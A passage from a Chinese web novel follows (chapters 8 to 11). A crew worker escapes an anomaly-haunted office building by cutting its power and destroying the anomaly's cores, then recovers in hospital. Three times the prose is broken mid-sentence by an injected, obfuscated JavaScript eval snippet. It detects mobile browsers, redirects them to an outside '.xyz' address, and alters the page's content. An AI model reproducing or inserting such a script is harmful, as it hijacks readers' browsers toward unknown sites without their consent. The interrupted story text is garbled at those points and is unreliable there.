姒姽试探性向刚刚在吸烟室内碰到的摸鱼同伙搭话。灰人偶的五官比刚刚在吸烟室内看到的要立体许多，看上去像是一个身上被覆盖了一层薄薄的水泥涂层的普通中年男人。 “是……是啊，咳呵，到点了，我工作做完了，可以下班了，下班了……” 人偶的声音如同从咕噜咕噜冒泡的水泥中传出的，模糊不清且带有诡异的杂音，但勉强能够听懂意思，以及语调中毫不掩饰的兴奋和喜悦。 所以，刚刚的铃声是下班铃？ 灰人偶拎起水泥色的布包，朝着姒姽，将“嘴”向两边咧开，形成一个弧形的黑色裂口，似乎是在微笑，就是笑得让人一阵恶寒，还不如不笑时来得友善。 “我们也可以走了吗？” 赵平安说着向工位后方挪了几步，与灰人偶保持距离。 “咳咳，工作做完……了，就可以……走了。” 灰人偶再次咕噜咕噜地回答道，姒姽却感觉事情没有那么简单，站在工位旁，默默望着它离开工位。 还未等灰人偶走出办公区域，一个红人偶突然出现在办公区的正门口，它的身后跟着一排白得发亮的白人偶，散发着不详的气息。 在白人偶中间，姒姽找到了李德安的身影，穿着基建团工服的他格外显眼，但仔细观察他的肤色、连带着他身上的橘色防护服，都比在吸烟室时见的要白上几度。 污染浓度在加剧，而且是极速、猛烈的加剧……污染源正在靠近。 姒姽盯着被白人偶簇拥着的红人偶。与其他人偶不同，它身上没有任何趋近于人类的特征，通体都是鲜艳的红色，光滑而平面的躯体只有“人”的轮廓，如同刷满红油漆的人形雕塑。 它就是污染源吗？ 8. 第八章出不去的办公大楼6 在白人偶的簇拥下，红人偶缓缓移动至办公区的中央。 所有准备离开的灰人偶仿佛同时被按下暂停键，呆滞地愣在原地，扭头盯着红人偶，空洞的眼睛淌着绝望的黑水。 “还没班……还没班……没下班……” 紧挨着红人偶左侧的白人偶突然发声，其他的白人偶也如同听到号召，一个接一个的，高声吟诵着这句话。 此起彼伏的“没下班”声如同催命符，原本围在红人偶身旁的白人偶们分散，回到各自的分区继续巡逻。 在白人偶的威慑下，准备离开的灰人偶只能麻木地回到自己的工位坐下，办公室内再度陷入死寂。 待所有人偶回归至它们所属的位置后，立在所有分区中央的红人偶转身，准备离开。 “下班时间已经到了，为什么说没下班？” 在赵平安与李德安惊恐的目光中，姒姽从工位上站起，直视着红人偶，发出质问。 巡逻的白人偶已经闪现至她的背后，极具膨胀的脑袋仿佛下一秒就要将她吞入腹中。 未等白人偶的深渊巨口触碰到她的头顶，姒姽转身一个摆拳，白人偶向后飞出，砸在后方的工位上。 “哎呀，不好意思，手滑了一下，我可不是故意要打你的哦。” 白花花的打印纸满天飞扬，白人偶挣扎着起身，想要反抗，但感受到姒姽浑身散发着仿佛沾染过上百个污染物“鲜血”的威慑性气场后，它又乖巧躺下。它的潜意识告诉它： 这个女人，很强。 白人偶如同泄气的皮球般恢复至正常的大小，瘫在工位间，摆烂式发出断断续续的咳咳声： “咳咳……工作……咳咳……” 嗯？这么弱的吗？ 姒姽盯着刚刚出拳的手，橘色手套上沾染带有腥臭味的白色黏液。再度看向白人偶时，姒姽的眼神仿佛是在看一只被打残的虫子。 原来，没有异能的普通人的身体，可以这么强啊。 对自己新身体的强度有了新认知后，姒姽不再束手束脚，直直走向愣在原地的红人偶，“核善”地问道： “这算加班了吧？有加班费吗？” 红人偶陷入短暂宕机状态，赵平安与李德安手持锤子、铲子等工具，时刻准备支援。 姒姽给了两人一个“暂停”手势，示意先不要对红人偶进行攻击，她并不准备现在就成为暴乱分子。 宕机状态结束后，红人偶没有发出攻击性举动，只是指指办公区悬挂的电子钟。 “现在是上班时间，没有下班……还没下班……” 电子钟上的虚拟表盘飞速旋转，本该指向数字“5”的时针绕一圈后又重新指到“8”。早上八点，正好是上班时间。 看来整座公司大楼的时钟在异端的操控下可以随意调动，永远无法显示下班时间，这样，他们也就不可能“正常”下班，只能在无止境的加班中被污染同化，最终成为异端的养料。 这一操作堪称耍无赖的典范，但却出奇有效。在污染物的笼罩下，窗户外的世界被漆黑的烟雾隔绝，无法判断时间。能判断时间的只有大楼内的时钟和电脑显示屏上的时间。 当然，异端能操控钟表，自然也能更改电脑上的时间。下班的时间永远也不会到来，无论工作多久，他们都不可能离开办公楼，甚至，还拿不到加班费。 但如果是这样的话，设置下班铃有什么意义呢？ 姒姽抓住这个逻辑漏洞，暂时放下准备打在红人偶脑袋上的拳头，面带微笑，“友善”开口道： “但是我刚刚把工作做完了，现在还有什么需要做的吗？” 红人偶微微低头，姒姽感觉它的注意点是在自己的工牌上。于是，她将刚刚翻面盖上的工作证正面摆在胸前，给红人偶检测。 “你……是新员工，咳咳，难怪不知道……你现在的工作是……把之前的……打出的代码……删掉，咳咳，全部删掉……” 红人偶如同老旧的收影机，断断续续发出指令。 “全部删掉？” “是的……咳咳……全部” “能一键删除吗？” “要，咳咳……一个，一个，删掉……全部……” “知道了，全部删掉，对吧？” 姒姽快速结束和红人偶的对话，红人偶磨磨唧唧，且参杂噪音的语音，再听下去，她感觉自己精神污染又要加重几分。 回到工位前，姒姽特意冲着还未回到自己巡逻区域的李德安摇摇手中的巧克力蛋白棒，并比了个数字五的手势。 五分钟后，吸烟室集合。 相信以李德安的理解力，能读懂她的意思。 回到工位后，姒姽与赵平安再度学着灰人偶同事的样子，一下接一下的敲击撤销键，将不久前才打在屏幕上的“1”、“0”全部删除。 虽然之前敲击循环数字“10101010……”的工作任务就很莫名其妙，但至少还能解释为异端本身实力不够，无法彻底还原工作内容，底层逻辑和程序员敲代码相同，能够理解。 可将敲好的数字全部删除，这模仿的又是什么工作内容呢？有什么意义吗？ 姒姽陷入思考，未等她想出些眉目，显示屏上的时间已经距离她坐回工位过去了五分钟。 该到吸烟室摸鱼……不对，是交流情报了。 有了之前的武力威慑，白人偶对姒姽明显有了些忌惮，面对姒姽与赵平安两人工作五分钟就离开工位，光明正大地去摸鱼，也只敢干瞪眼。 没有任何阻拦，姒姽与赵平安很成功的来到吸烟室，前脚刚进，后脚李德安也跟进来。 “闺女，不，姒姽啊，你刚刚打怪物那招是怎么练的啊？太厉害了！” 赵平安现在可不好意思继续喊姒姽“小闺女”了，之前还能仗着自己年龄大、资龄高喊着玩玩，而现在见识到她远高于自己的智商和武力后，再这样喊倒显得他不懂事了。 “哈哈，就一个普通的摆拳，是那个污染物太弱了。” 姒姽陈述事实，赵平安和李德安却觉得她是在谦虚，顿时对这个年轻人又起了几分敬意。 “根据我的观察，目前最有可能是污染源的是红人偶，它身上散发出的污染值最高，而且不会因为我们被污染程度的变化而发生改变，具有极佳的稳定性。” 李德安直奔主题，做出自己的判断。姒姽没有打断，在听完他的分析后才开口道： “我认为，污染源不在红人偶身上。” “为什么？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904878|176815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>被质疑的李德安不恼，眼中反倒闪过一抹亮光。 “控制这栋大楼的异端属于精神污染型，这类污染物本身攻击力不大，且本体脆弱，所以善于隐藏和制造捕猎幻境。 一个擅长潜伏和愚弄人类的异端，不可能把自己的本体塑造的如此显眼，反而，越是平平无奇、容易忽略的地方，越可能是它的核心所在。” “那岂不是很难找啊？” 赵平安惊呼道，语气中带着绝望。 “是的，一般来说，没有专业探查仪器基本不可能找到。异端本体是可移动的，即使找到，在没有彻底消灭的情况下也可能逃脱，非常狡猾。 不过，我们的目标只是离开大楼，清除污染物是异管局的事。 而离开大楼除了消灭污染源，还可以……” “下班。” 李德安与姒姽相视一笑，达成共识。赵平安感觉自己又跟不上进度，着急地望望李德安，又望望姒姽。 咱们不是来搬砖的吗？什么时候基建团招人对智商要求这么高了啊？ 看出赵平安的窘迫，姒姽开口解释道： “正常下班肯定是不可能了，时间由污染源掌控，每当下班时间到，它就会把时间又调回上班时间，这样就可以无缝衔接的工作，还不算加班。 所以，我们要想一些不正常下班的方法。 比如，这是一家IT公司，工作必须使用电脑，那么，如果断电了，你猜它们还能继续上班吗？” 赵平安恍然大悟，眼中闪烁着兴奋的光。 “所以我们现在要去拔电源？嘿，这个我熟，咱们基建团的就是建大楼的，这种直溜溜的楼发电装置好找的很，跟我来就成！” 终于能大展身手的赵平安斗志昂扬，推开吸烟室的门，帅气地用大拇指指向门外，示意：跟我走。 于是，姒姽和李德安跟在赵平安身后，三人蹑手蹑脚的在大楼内左窜右窜。 基建团在接手工作任务之前，会收到需要维修的建筑物原图纸。虽然一般来说经历过异端污染和异管局的人异能洗礼后的大楼只能剩个地基，所以那个图纸通常都没啥用，他们这些老手基本都不太去看，纯凭自己发挥。 但这次，却派上大用场。 这座需要进行维修工作的大楼只有上半部分有损坏，所以维修工作可以按照原图纸进行修复。在出任务之前，赵平安想在新成员面前大展身手一番，特意背下大楼的建筑结构。 因此，整个大楼的发电装置和主要输电网管他都谙熟于心。 在他的带领下，三人七拐八拐，途中因为污染物造成的大楼结构变化走了不少弯路，但最终还是成功找到供电室。 “这路也太难走了，上坡、下坡、无限走廊的，把人当狗溜啊！” 赵平安气喘吁吁道，污染程度的加剧以及防护服本身的重量让他疲惫不堪，几度怀疑自己是不是记错了路。 “正常，这是异端的狩猎机制，它在阻止我们这些猎物逃跑。 路变得越诡异、越崎岖，更说明我们选择的方向越正确。” 姒姽盯着前方不远处一个铁皮门上悬挂的名牌。 锈迹斑斑的铁皮牌上用快掉完的红色油漆写着： 【供电室】 9. 第九章出不去的办公大楼7 残破的灰色铁门、笼罩着黑雾的走廊、如同水蛇在泥浆中咕蛹的“咕噜咕噜”声……处处透露着诡异不详的气息。 赵平安已经被吓到腿软，原本在队伍最前方探路的他此刻已经被落在三人中的最后方，反倒是今天刚来上班、没有任何工作经验的姒姽走在最前方，为他们引路。 真是初生牛犊不怕虎啊，这孩子年纪轻轻就胆大心细、武力和体力也更是顶尖，以后一定能有大作为，在基建团混日子简直是屈才。等精英区什么时候给基建团内推名额，一定把她往上面推，最好能推到异管局去！ 赵平安在心中暗戳戳发誓。 并不知道自己要被安排到老东家那做事的姒姽正盯着【供电室】的指示牌，仔细感受上面的污染痕迹。判断出这里不是异端构造的陷阱后，她开口道： “我们到了。” 姒姽推开供电室的门，门内黑压压的，看不清东西。 李德安站在姒姽身旁，试探性打开手电筒，白光射出后短短几秒便被黑暗吞没。 这块区域污染浓度太大，能够同化光线，安全起见不要进入。 李德安做出判断，正准备收回手电筒。 “等等，你把手电再打开一次看看。” 李德安虽不明白姒姽的用意，但还是照做。 一束白光再度穿破房间内浓郁的黑，一秒后，再度被黑暗吞噬。 姒姽盯着漆黑一片的供电室，嘴角微微上扬。 “对，再把手电打开，熄灭后就关上再打开。” 李德安被姒姽这堪称卡bug的想法惊艳到，将关上的手电筒打开、关上、打开、关上……掌握好光线出现和消失的频率后，他们获得了稳定的光源。 漆黑的供电室被照亮，无数密密麻麻的输电线上附着着漆黑的粘液。黑色的胶质粘黏物在电线上蠕动，仿佛有生命一般。 所有输电线最终汇合的位置，是供电室中央的一个巨型发电机。发电机外，黑色的胶状物在上面蠕动，将主电机包裹的看不出原型，像一个黑色的茧，又像是一个持续跳动着的黑色心脏。 “这……” 看清楚供电室内部状况的赵平安感觉头脑发昏、恶心想吐，潜意识告诉他：快逃！ 李德安的脸色也很难看，他强撑着让自己不要像赵平安那样瘫坐在走廊上，保持理智，一边持续开关手电筒，一边望向姒姽。 姒姽的状态不算好，高强度的污染让她的脸上已经开始冒出灰色的皮屑，四肢也变得僵硬……她离被彻底污染同化仅一步之遥。 但是，李德安看向姒姽的眼睛，她的眼睛很明亮，坚定中还参杂着些兴奋和愉悦……她仿佛不是被异端吞入腹中的猎物，而是一个经验老道的狩猎者。 未等李德安反应过来，姒姽就左手拿小刀，右手拿铲子，一个箭步冲到被污染物团团包裹的发电机前。 发电机很大，大概比她高出一个头。感应到外来威胁后，黏着物出于本能般的全部朝发电机汇聚，片刻间就将发电机包裹成一座黑色的小山。 李德安想去帮忙，奈何手上还要操控手电筒，他看向赵平安，只见赵平安已经瘫坐在走廊的墙边，眼睛微闭，皮肤上灰色的软壳在蔓延扩张……他的污染程度已快达临界值。 这下只能靠姒姽自己了。 李德安眼神凝重地盯着供电室中央的姒姽，右手持续开关手电筒，保证光源稳定。 这是他现在能为姒姽做的唯一的事。 面对如同巨型黑色史莱姆的胶状物，姒姽深吸一口气后，屏住呼吸，冲到胶质物里面，用刀和铲子硬生生劈开一条路。 无数诡异的呓语在脑海中响起，直接触碰污染物所带来的同化效果明显要更上一个档次。 这种胶状污染物她以前在异管局干的时候遇到过很多次，攻击力低、污染性中等，唯一令人头疼的是——量太大了！ 每当小刀划开一个口子，黏着物就会立即聚拢，将这个口子填上。 于是，姒姽干脆用刀划开一个巨口后，趁粘黏物未来得及填满，将刀放回口袋，用手将口子撕大，整个人挤进去。 黏着物的触感和冰粉差不多，冰冰凉凉，姒姽将它想象成一个巨型龟苓膏，凭借全身的蛮力，挤出一条通向发电机的道路。 李德安看着姒姽整个人陷入黑色黏着物当中，顿感自己浑身发冷，身上仿佛也被粘液包裹，操作开关的手不小心慢一拍，供电室陷入短暂的黑暗。 再度关闭、打开手电筒后，稳定的光源形成，李德安盯着供电室中央，姒姽的身影已经消失在那团漆黑的聚合物中，看不见了。 姒姽的速度很快，污染程度的持续加剧迫使她加快速度。终于，她的手触碰到一个硬邦邦的东西。 是发电机！ 没有片刻犹豫，姒姽上手摸索，摸到疑似输电管道的部分就用小刀划、用手砸……谁让异管局只教过她打异端，没教过她认发电机呢。 姒姽决定出去后一定恶补工科知识，做一个有知识、有技术的搬砖人。 好在，一番打砸后，伴随着管道破裂的巨响，发电机的轰鸣声停止。黏着物如同感受到什么，剧烈抖动后发出一声刺耳的哀鸣，便化作黑水，流淌到地上。 成功了？ 姒姽看着手中刀刃弯曲的工具刀，突然感到大楼在晃动，似有千军万马在走廊中奔腾。 “停电了……下班！停电了……下班了！下班了……停电了！” 人偶的欢呼声在四面八方回响，如同一群加班到痴狂的打工人在举行一场好大的起义和庆典。 “姒姽，快走。” 李德安淌着黑水，跑到被撕成废铁片的发电机前。他一手拖着奄奄一息的赵平安，一手伸向姒姽，急切的要将他俩带出大楼。 姒姽的神情有些恍惚，发电机中藏有污染的核心之一，此刻，核心被打破，四面八方翻滚着的呓语将她包裹，一些不属于她的记忆随着呓语涌入她的脑中。 【“我们已经连续加班半年了，说好的小长假，什么时候兑现！” “这是基地的法定假期，说好的这次按基地规定连放三天，凭什么要加班！三倍工资？上次的三倍工资就没发下来！” “不放假？你们做的那些事，信不信我向基地举报！” “凭什么不让我们离开，你这是在限制我们人身自由！”】 乱哄哄的人群、嘈杂的办公室……这应该是员工组织大罢工那天的场景复现。姒姽闭上眼睛，直到所有的场景碎片和呓语消失，她睁开眼睛，眼中的混沌全然消失。 “李叔，你先带赵叔离开。我再消灭一个污染源就离开。” “哈？” 还未等李德安说出后半句：消灭污染源不是异管局的人的事吗？姒姽就一个箭步冲出供电室，挤进走廊中由飞奔着的灰人偶组成的人流，消失不见。 李德安看向肩上挂着的赵平安，叹口气，趁异端构造的幻境因停电陷入混乱，背起即将变成“灰人偶”的赵平安，朝大楼出口处飞奔。 此刻，姒姽顺着来时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904879|176815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的路，左拐、右拐、上坡、下坡……大楼的结构在不断变化，姒姽干脆不管楼层、方位，纯凭直觉感受污染物浓度的变化，朝着污染浓度最大的方向飞奔。 这个异端很狡猾，它不但创造出“独特”的红人偶作为诱饵，还将自己的核心一分为二，一个藏在刚刚破坏的发电机主管道中，另一个藏在…… 姒姽停下脚步，她回到那个熟悉的办公区域。 【技术部】 此刻，原本明亮嘈杂的办公区域陷入一片静谧的黑暗，姒姽打开手电筒，这一次，光线没有再被黑暗吞噬。 密密麻麻的显示屏反射出手电筒的白光，办公室的人偶都已经逃离，空荡荡的工位中，只有一个工位上还隐约有人影在晃动。 穿过一区、五区……姒姽来到熟悉的六区，回到属于自己的工位。 在她的工位旁，那个被她多次“抄作业”的人偶同事瘫坐在椅子上，盯着漆黑的显示屏，不知在想些什么。 “嘿，下班了，不回家吗？” 姒姽盯着灰人偶，他的肤色已经变得很淡，接近于正常的肤色，五官轮廓也逐渐清晰，和刚刚大罢工场景碎片中的那个领头程序员很相像。 “我……我离不开。” 人偶伸出一根正在脱落灰屑的手指，指向电脑主机。 姒姽看向那个黑色的、散发不详气息的主机，一脚踹到地上，猛地一个冲刺，轧上去，踩扁后一条黑色的小蛇般的胶状物飞速逃出，被姒姽一脚踩扁，化作一滩黑水。 “好了，解决了。” “就这样解决了？” “嗯，解决了。” “人偶”难以置信地盯着姒姽，直到他从工位上站起，他才惊呼道：“解决了！” 站起身后，他又摇摇晃晃快要跌坐到地上，被姒姽一把抓住。 过长时间和污染源近距离接触，他能活下来已经是个奇迹。 姒姽秉持好人做到底的精神，背着哗啦哗啦掉灰色碎片的他，离开大楼。 走向大楼出口的过程中，背上这位“举报者”将姒姽错认成异管局的人，絮絮叨叨地向她吐苦水。 “我是这个黑心公司的金牌程序员，编号C007。 那天，我正准备把举报邮件传给基地，地瓜头，也就是我的顶头上司，带着几个人闯入我家，用这个异端把我控制住。 等我清醒后，他们说留我有用，把我和异端关在公司的供电室里，我眼看着自己的身体在逐渐变灰，最后变成一个人偶。 后来，我莫名其妙的就被扔到这个工位上，它们让我敲键盘，不敲键盘就会被吃，我只能像以前上班一样偶尔去吸烟室躲躲。 被污染了还要给公司工作，没天理啊，呜呜呜……异管局的同志，你一定要替我作主啊，呜呜呜……” C007在姒姽肩头痛哭，哭得姒姽脑袋疼。 “叔，坚强的。我不是异管局的人，这些话你等会儿和异管局的人说吧。” 听了姒姽的话，C007哭得更大声了。 “呜呜呜，我今年才25，呜呜呜……” 终于，姒姽背着几乎哭晕过去的C007七拐八拐，走到最初的一楼大厅。 此时，大厅的大门敞开，不见人偶的踪影，只见外面的日光倾泻而入，熟悉的异管局搜救队的警铃声在楼外响起。 “你……你是什么人啊？” 昏迷的前一刻，C007盯着救命恩人橘色的后脑勺，问道。 “我就是一个来搬砖的。” 10. 第十章后天性异能 熟悉的声音、熟悉的救护车。不同的是，这一次，姒姽不用人抬，不靠人扶，自己走上了救护车。 她受污染的程度按理说是几人中最高的，手撕污染源，这种不可思议的事她也是第一次干。 但不知是身体素质提高，还是这具身体本身的抗污染能力强，她的头脑很清明，没有被污染后的理智丧失，只不过身体受污染后严重僵化，灰色的橡皮胶状物黏在皮肤上拔不下来。 坐在救护车上，姒姽看着窗外的风景，时刻保持清醒。 在“重生”的阴谋没调查清楚之前，与异管局有关的一切，都需要她保持十二分的警惕。 救护车将她送到普民区中心医院，经过全面的身体检查后，被诊断为重度污染的她被关在隔离病房内，进行康复治疗。 三天后，姒姽的身体各项指数趋于正常，污染程度达安全范围。 期间，赵叔和李叔隔着玻璃来探望她。 他们俩污染程度都比姒姽轻一些，在入院第二天就恢复得差不多。俩人结伴来到姒姽的病房，看她生龙活虎，甚至还有心情在病房练单杠的样子，彻底放下心来。 期间，C007也提着果篮和营养液来探望她。他的污染程度最高，征求他的意见后，医院干脆对他进行身体改造。 改造后的他一改“灰人偶”时的秃头大叔形象，硅胶质感的皮肤白净紧致，在他的强烈要求下，医院给他打造了一头茂密的棕色卷发。 “救命恩人，加个好友吧！ 其实在被公司追杀前，我就被检测机构检查出异能觉醒，而且还是高级异能。 所以公司才偷渡异端，想用异端给我洗脑，让我继续为公司卖命。结果玩脱了，公司没了，人也没了，哈哈哈，真是大快人心。 现在，我可以去精英区工作了！你放心，等我到精英区，我肯定想办法把你也接过去！” “额，好意我心领了，精英区就不必接我去了。 现在干的活儿我很满意，暂时不想换工作，嗯，谢啦。” 姒姽将手环伸出，伴随“滴”的一声，好友添加成功。 【编号：C007 昵称：金恩 年龄：25 异能：战斗系冰属性 ……】 姒姽打量着眼前大金毛样儿的阳光开朗大男孩，总感觉这个异能和他不太适配。 “你的称号基地不给你改吗？还是C开头？” “听说后天觉醒异能的状况是最近才开始有人出现，基地没有预案，所以改编号的事就先放着，后面可能还要有个一两年考察期才能改。” 金恩歪歪头，犹豫片刻后，开口道： “恩人，你真的没有异能吗？ 听说大楼里污染物的两个核心都是你破坏的，这么厉害，怎么可能没有异能啊？” “咳咳，可能是污染物太弱了。 那个污染物属于精神控制型，武力值和生命值都不高，找到核心后很容易清除。” “这样啊，恩人，你对异端好了解啊。要不要考虑一下进异管局？ 我马上就要被精英区分配工作，听说可以分配到异管局去。 你抗污染能力那么强，武力值又那么高，我想办法推荐一下，说不定能进去！ 怎么样啊？恩人？考虑一下？” “停停停……” 姒姽打断大金毛的话，无语地摆摆手。 “我了解污染物，不代表我喜欢打污染物。 我对我现在的工作和生活很满意，挖墙脚的话就不必说了。” 姒姽的语气很强硬，金恩被迫闭上嘴，委屈巴巴的用狗狗眼盯着她。 “那个，你不是说你觉醒异能了吗？表演给我看一下？” 感觉到气氛有些尴尬，姒姽岔开话题，转移金恩的注意力。 “好嘞，恩人，你看好了。” 金恩顿时一改委屈的表情，信心满满地拿起床边的一个水杯，握在手上。 不到片刻，水杯上结出白色的寒霜，白霜一点点蔓延，最终杯子被寒霜覆盖，变成一个冰杯。 “怎么样，恩人，是不是很厉害？是不是像魔法一样？ 你不知道，当我发现我能让杯子结冰的那刻，我感觉我就像大魔法师一样。 恩人，你还想看什么？我再给你冻个苹果怎么样？还是要冻个香蕉？干脆给你冻个冰淇淋好不好？” “停停停……” 姒姽实在是受不了金恩这种小跳蚤一样的性格，叽叽喳喳的声音让她好不容易因为脱离污染而听不到呓语的耳朵，仿佛又出现幻听。 “怎么了？恩人？你不喜欢吗？” 金恩再度陷入委屈状态，低沉地蹲坐在地上，更像一只大金毛犬了。 “额，没有不喜欢，不过……你这不是战斗异能吗？战斗时，怎么用？” “嗯……把敌人冻住？” “额，也行，但如果遇到的是触碰必死的异端呢？” 金恩陷入沉思，很显然，他没思考过这种问题。 姒姽轻叹口气，纠结一小会儿后，开口道： “你的异能是把接触到的，准确来说是把手附近范围的物品温度降低至零下，对吧？” 金恩点点头。 “我们身边的空气中并不是一无所有，至少，弥漫着看不见的水蒸气。 如果将空气中的水分聚集在一起，用异能结成冰，再往里面注入能量，形成冰弹……” 金恩从地上弹起，兴致勃勃的按照姒姽的指示操作。 一个个小冰晶出现在他的双手附近，他将双手举平，对准窗户，将冰晶向外发射。 大头针般粗细的冰晶向外射出，如同子弹，将结实的玻璃射出一个个小孔。 “啊啊啊，快看啊，玻璃都被射穿了，太太太厉害了！” 金恩兴奋得上蹿下跳，姒姽无奈地笑笑。很难想象，不久之前他还是一个要死不活的程序员。 “恩人啊，你是怎么知道我的异能怎么用的啊？太厉害了吧！” “额……灵机一动？” 最害怕的解释环节还是出现了，姒姽心虚地撇开眼睛，不与金恩对视。 就是不知道该怎么解释，她才会纠结要不要告诉金恩异能的用法。 但是，无论如何她都不希望这个异能被埋没。毕竟，这可是她过去最常用的异能之一。 “哇唔，恩人，你简直就是天才！ 恩人，你再考虑一下异管局呗，不敢想像如果能和您共事，我会有多么的开朗！ 恩人，再考虑一下好不好，恩人，好不好嘛，恩人？” 你现在已经就够开朗了！ 姒姽推开金恩为了撒娇而缠在她手臂上的手，无奈道： “停停停， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904880|176815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我真的不想去什么异管局，再提这件事，我就把你从我的好友列表踢出去。” 金恩立刻闭嘴，并用手在嘴巴上做出“拉拉链”的动作。 “还有，不要叫我恩人了，叫我姒姽就行。” “好嘞，姒姽姐！” 金恩再度恢复嬉皮笑脸状态，直到姒姽以“要休息”为由，将他“请”出病房外，姒姽才获得宝贵的宁静。 直到出院，姒姽没再遇到什么“小插曲”。 除了护士发现被金恩弄坏的玻璃窗后，因为是敌袭，慌慌张张联系安保科。 还有金恩走后，病房的角落里出现一束不知道是谁送的水仙花外，姒姽没再遇到什么怪事，安安稳稳直到出院。 “姒姽啊，恢复得怎么样？这次多亏你了。” 出院当天，李德安和赵平安一同来接她，他俩的身后还跟着一脸担忧的小慧澜。 还没来得及回复李德安的话，慧澜就冲到她面前，一脸急切地上下打量。 “姒姽姐，身体没问题吧？” “没问题的，区区一个小异端……” “什么小异端？那可是污染物诶，一不留神就会被污染的污染物！ 听说这次污染物的核心都是你消灭的，唉，下次再遇到这种事，让李叔赵叔来，别看他俩不靠谱，实力还行，不然也不会……” “好了好了，小慧澜，给你李叔赵叔留点面子。” 李德安捂住慧澜的嘴，尴尬笑笑。 “咱们基建团出任务遇上异端的概率，八百年都难碰上一次，这次纯属意外，纯属意外哈。” “对对对，异端又不是大白菜，哪里能天天见到啊。 这次事件后，异管局的人查封黑市，把异端买卖这条黑色产业一锅端了，以后不会再出现这种意外了，哈哈……” 赵平安也赶忙接话，拍胸脯保证道。 “对了，之前不是说金恩向基地递交举报信吗？ 他来看我的时候我忘问了，这件事处理得怎么样啊？” “你说这事儿啊，来，给你转个链接，看看就知道了。” 赵平安点击手环，将一条新闻链接转给姒姽。姒姽打开链接，只见标题上写着： 【震惊！来自异管局神秘新人的举报：普民区金澎传媒有限公司竟做出这样的事！】 姒姽读完这篇大约三千字的新闻后，又气又无语。 “所以这个公司一边研发防AI的程序，一边开发破解防AI的程序。 而且为了可以不断挣积分，彻底实现市场垄断和两头通吃，白天让员工升级防AI程序，晚上让员工升级对应的破解防AI的程序。 难怪污染物在幻境里先让我们敲代码，又让我们删代码，原来模仿的是这个操作啊！” “是啊，而且公司还向基地骗取研发经费，实际对基地做出零个贡献。 积分都被他们赚饱了，程序研发等于没研发，好比我们一边砌砖一边拆墙，纯骗积分啊！” 赵平安愤愤不平道，慧澜也跟着点头，认可他的说法。 骂完后，一行人坐上基建团的专车，回到属于他们的小办公室。 这次任务，姒姽除了固定的任务积分外，还收获到一笔庞大的精神补助费和见义勇为奖。 不用再为积分发愁的姒姽心满意足的和慧澜一同，回到小公寓，开启为期一周的休假生活。 11. 第十一章超美味的高中食堂1 小长假期的第三天，姒姽终于和好友列表中的那位“陨石边牧”取得联系。 【姒姽：你是谁？】 【智：……】 【姒姽：你在监视我？】 【智：……】 【姒姽：再发省略号就把你删了。】 【智：！】 手环显示对方正在输入中，姒姽耐心等待，一分钟后，对方终于传来一段完整的句子。 【智：很抱歉，关于我的身份，你暂时还没有权限了解。 关于监视这一问题，请放心，我所监视的范围涉及整个基地，在特殊情况下才会开通个人监视渠道。 再见，期待你能成为我们的同伴。】 阅读完这一长串AI味极重的短信后，陨石边牧的头像再度变暗。 行，又联系不上了。 姒姽无语的看着最后一句话中的“同伴”，她可不想要这种神神秘秘的同伴。 更何况，她的“重生”肯定和这些人脱不了关系。 姒姽盯着好友列表中三个显示离线状态的黑色头像，咬一口巧克力蛋白棒。 算了，现在自己瞎想也没用，等需要用我的时候自然会联系的。到时候再试探一下，看看这群人到底在搞什么鬼。 姒姽退出手环上的好友列表界面，转头看向她刚用积分购买的最新型号智能式全景模拟体验跑步机，满意的不得了。 现在，是享受假期的时候了！ 休假结束，姒姽神采奕奕的与慧澜结伴上班。 这次，她很守规矩，特意晚半个小时出门。 “姒姽姐，我怎么感觉你的肌肉线条更加明显了！” 慧澜盯着身穿橘色背心的姒姽，看着她的手臂，眼中闪闪发光。 “小慧澜很有眼光啊，怎么样，帅吗？” “太帅了！快和乔木姐的手臂差不多壮！ 对了，这次和你一起出任务的就是乔木姐。前段时间她一直出外勤，没来得及和你碰面。 不过，她一直很想见见你的，尤其是听说你一个人打爆两个异端核心，哈哈，感觉你和她会很投缘。” “这样啊……” 姒姽在脑海中勾画出一个和她差不多样子的小人，嗯，感觉确实会很投缘。 走到老破小办公室门口，还未开门，便听见门内传出的一阵豪迈女声。 “哈哈哈，老赵，你不行啊，别个新人都能手撕异端，你看到污染物就吓得腿软，这样怎么能壮大咱们基建团啊！” “咱们基建团就是搬砖的……后勤懂不懂！你当谁都像你一样，天天喊打喊杀的，异管局真该把你收到前线，和异端干一架。” 赵平安怼道，只是语气偏弱，显得毫无说服力。看到门被推开，赵平安好似抓到救星，往门外一指。 “呐，人来了，有什么事抓着她问，让我清净一下。” 正推门准备进去的姒姽被一个高大的身影拦住。 